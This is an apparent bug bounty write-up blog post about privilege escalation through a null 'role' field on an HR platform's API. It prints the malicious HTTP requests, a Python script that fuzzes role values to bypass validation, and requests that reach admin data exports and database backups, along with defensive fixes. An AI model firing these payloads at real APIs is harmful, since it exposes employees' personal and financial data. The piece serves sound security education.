The Accidental Admin: How a Null Role Parameter Exposed an Entire Company

The Accidental Admin: How a Null Role Parameter Exposed an Entire Company

November 5, 2025 6 min read

A deep dive into a real bug bounty story where a simple null role parameter turned a normal user into an accidental admin, revealing how broken RBAC logic led to complete compromise.




Disclaimer:
This article is an educational reconstruction of a real-world bug bounty report by another researcher.
It’s rewritten in a knowledge-sharing style for ethical learning - focusing on how misconfigured access control can occur and how to prevent it.
No live systems or sensitive data are disclosed here.


🎬 Act 1: The Humble Beginning - From Normal User to Something Else

Like most great bug bounty stories, this one started innocently.
A researcher was testing a corporate HR SaaS platform named PeopleFlow - a system designed to manage employee data, payroll, and internal communication.

After a quick reconnaissance phase using tools like subfinder, httpx, and Burp Suite, they registered a basic user account.

The app seemed straightforward - a standard employee dashboard with basic functions:

  • Update profile
  • View personal salary (mocked test data)
  • Request time off

Then, during a profile update request, something curious appeared in the intercepted request.

PUT /api/v2/users/58432/profile HTTP/2  
Host: app.peopleflow.com  
Authorization: Bearer <JWT_TOKEN>  
Content-Type: application/json  

{
  "firstName": "Test",
  "lastName": "User",
  "email": "test@example.com",
  "department": "Engineering",
  "role": "user"
}
HTTP

That seemingly harmless "role": "user" field lit up every pentester instinct in the researcher’s brain.

Burp Suite interface with an intercepted JSON payload, highlighting the 'role':'user' parameter, indicating a potential manipulation point.


🤔 Act 2: The “What If” That Changed Everything

The first payload was obvious. The researcher simply tried to promote themselves.

{
  "role": "admin"
}
JSON

Response: 403 Forbidden - Invalid role assignment

No surprise - the API was validating role changes.
But what if that validation only existed client-side or was only partially enforced?

So, the researcher tried something unconventional - what if they removed or broke the parameter entirely?

Payload attempt #2:

{
  "role": null
}
JSON

Response: 200 OK - Profile updated successfully.
Wait. What?

No visible change appeared in the UI, but something under the hood had shifted.
The role parameter was accepted - without validation.


🧩 Act 3: The Plot Twist - Hidden Role Inheritance

This is where most testers might stop. But the researcher decided to probe deeper.

They started exploring admin-only endpoints, fully expecting 403 Forbidden responses.

Then came the fateful request:

GET /api/v2/admin/user-management/export-all HTTP/2  
Host: app.peopleflow.com  
Authorization: Bearer <JWT_TOKEN>  
HTTP

And the response made their heart skip a beat:

{
  "status": "success",
  "data": {
    "exportId": "exp_8847291",
    "downloadUrl": "/api/v2/admin/exports/exp_8847291/download"
  }
}
JSON

That endpoint - reserved for HR administrators - had just generated a complete export of employee data.

The CSV file contained:

  • Employee names
  • Email addresses
  • Salaries and Social Security numbers
  • Performance reviews
  • Home addresses

They had become an admin by accident - thanks to a single null parameter.

A visual of a CSV file with sensitive HR data spilling from a laptop, symbolizing the significant impact of data exposure due to a vulnerability.


🔧 Act 4: Reverse-Engineering the Broken RBAC System

To understand what caused this, the researcher built a Python script to fuzz the role field and systematically test various payloads.

import requests, json

BASE_URL = "https://app.peopleflow.com"
HEADERS = {
    "Authorization": "Bearer YOUR_TOKEN_HERE",
    "Content-Type": "application/json"
}

def test_role_bypass():
    test_values = [None, "", " ", "undefined", "null", "true", "false", "0", "1", "user,admin", {"role":"admin"}, ["admin"]]
    for val in test_values:
        payload = {
            "firstName": "Test",
            "lastName": "User",
            "email": "test@example.com",
            "department": "Engineering",
            "role": val
        }
        r = requests.put(f"{BASE_URL}/api/v2/users/58432/profile", headers=HEADERS, json=payload)
        if r.status_code == 200:
            print(f"[!] Role bypass success with payload: {val}")

test_role_bypass()
Python

Multiple values like null, "undefined", and even a blank space (" ") bypassed validation.

This wasn’t just an oversight - it was a logic flaw in role validation.

A glowing Python code screen in a dark environment, depicting a researcher actively testing role manipulations against an API.


🧠 Act 5: Chaining the Bug - From Null to Total Compromise

Once admin privileges were gained, the researcher had full visibility into the RBAC (Role-Based Access Control) structure.

GET /api/v2/admin/role-definitions HTTP/2
HTTP

The response revealed the entire internal role matrix:

{
  "roles": {
    "user": ["read_own_profile", "update_own_profile"],
    "manager": ["read_team_profiles", "approve_timeoff"],
    "hr": ["read_all_profiles", "update_salaries"],
    "admin": ["*"],
    "system": ["internal_apis", "database_access"]
  }
}
JSON

The shocking part? The system role had unrestricted API access - even to database endpoints.

Example Exploited Admin Action:

POST /api/v2/admin/user-management/58432/role
Content-Type: application/json

{
  "role": "admin",
  "reason": "Because why not?"
}
HTTP

Result: any user could now become admin with a single request.
And it didn’t stop there.

Database Exposure:

GET /api/internal/database/backup/download-latest
HTTP

Response: A complete production database backup.

That’s as bad as it gets.

A visualization of a role hierarchy, from 'user' to 'system', depicted as concentric circles with the core glowing red, symbolizing critical access levels.


🧾 Act 6: Responsible Disclosure (and The “Oh No” Moment)

The researcher responsibly contacted the PeopleFlow security team with:

  • Full vulnerability chain
  • The Python testing script
  • Proof of data export and privilege escalation
  • Impact analysis and mitigation steps

The response was immediate:
Acknowledged within 15 minutes.

The engineering team had assumed their JWT validation was enough. They didn’t anticipate that a malformed or null field could override authorization logic.

Fix Implemented:

  • Enforced server-side role whitelisting
  • Added audit logs for all role modifications
  • Strengthened endpoint-level RBAC enforcement
  • Implemented schema validation for request payloads
  • Added unit tests for role inheritance edge cases

Within two days, the issue was resolved - and the researcher received a generous bounty, rumored to be “more than the CEO’s monthly salary.”


🧱 Developer Breakdown: Why This Happened

The core flaw was a trust-in-client issue.

The backend logic trusted that any incoming role value (even null) would not bypass security because it relied on token claims - but the system processed the incoming payload before verifying user permissions.

Simplified logic flow:

# ❌ Vulnerable logic
def update_profile(user_id, payload):
    role = payload.get("role", "user")  # default fallback
    db.users[user_id].update(payload)
    return {"success": True}
Python

If role was None, the system skipped validation - but subsequent lookups for role-based permissions failed open (defaulting to “allow all”).

Lesson: Never rely on default fallbacks for sensitive attributes.


🧰 Tools Used

Tool Purpose
Burp Suite Intercept and replay API requests
Python Requests Automate payload testing
ffuf Discover hidden endpoints
Postman Validate API behavior manually
jwt.io Decode and inspect JWT tokens
VSCode + mitmproxy Inspect mobile traffic

🧩 Key Takeaways

# Lesson Explanation
1 Always test edge-case payloads Nulls, blanks, and undefined values often reveal logic flaws.
2 Client input ≠ server truth Never trust role or permission attributes in incoming JSON.
3 Fail closed, not open If validation fails, deny access by default.
4 Implement payload schemas Enforce strict input validation with tools like pydantic or joi.
5 Audit everything Log all privilege changes and admin actions.

🛡 Defensive Perspective - How to Prevent This

To protect APIs from similar logic flaws:

  1. Implement strict schema validation:

    from pydantic import BaseModel, validator
    
    class ProfileUpdate(BaseModel):
        firstName: str
        lastName: str
        email: str
        department: str
        role: str
    
        @validator("role")
        def validate_role(cls, v):
            if v not in ["user", "manager", "hr"]:
                raise ValueError("Invalid role value")
            return v
    
    Python
  2. Validate JWT role claims server-side (not from user input).

  3. Enforce centralized RBAC checks - never rely on per-endpoint validation.

  4. Fail-safe logic: if role check fails → deny, don’t assume.

  5. Regular pentesting on API logic and privilege escalation pathways.

A developer securing an API endpoint with digital padlocks and shield icons, representing robust server-side validation and access control implementation.


🧠 Final Thoughts

This report is a reminder that access control failures aren’t always technical oversights - they’re logical cracks.

A single null value changed a user into an admin.

That’s the beauty (and terror) of web security:
sometimes, the smallest input reveals the biggest truth.

The researcher handled it responsibly - documenting, reporting, and educating others - turning an “accidental admin moment” into a case study that every developer and security engineer should learn from.

A hacker silhouette walking away from a glowing digital fortress, symbolizing the success of ethical disclosure after discovering a critical vulnerability.


References


Published on herish.me - Ethical research, expert breakdowns, and real lessons from the wild of bug bounty hunting.

Join the Security Intel.

Get weekly VAPT techniques, ethical hacking tools, and zero-day analysis delivered to your inbox.

Weekly Updates No Spam
Herish Chaniyara

Herish Chaniyara

Web Application Penetration Tester (VAPT) & Security Researcher. A Gold Microsoft Student Ambassador and PortSwigger Hall of Fame (#59) member dedicated to securing the web.

Read Next

View all posts

For any queries or professional discussions: herish.chaniyara@gmail.com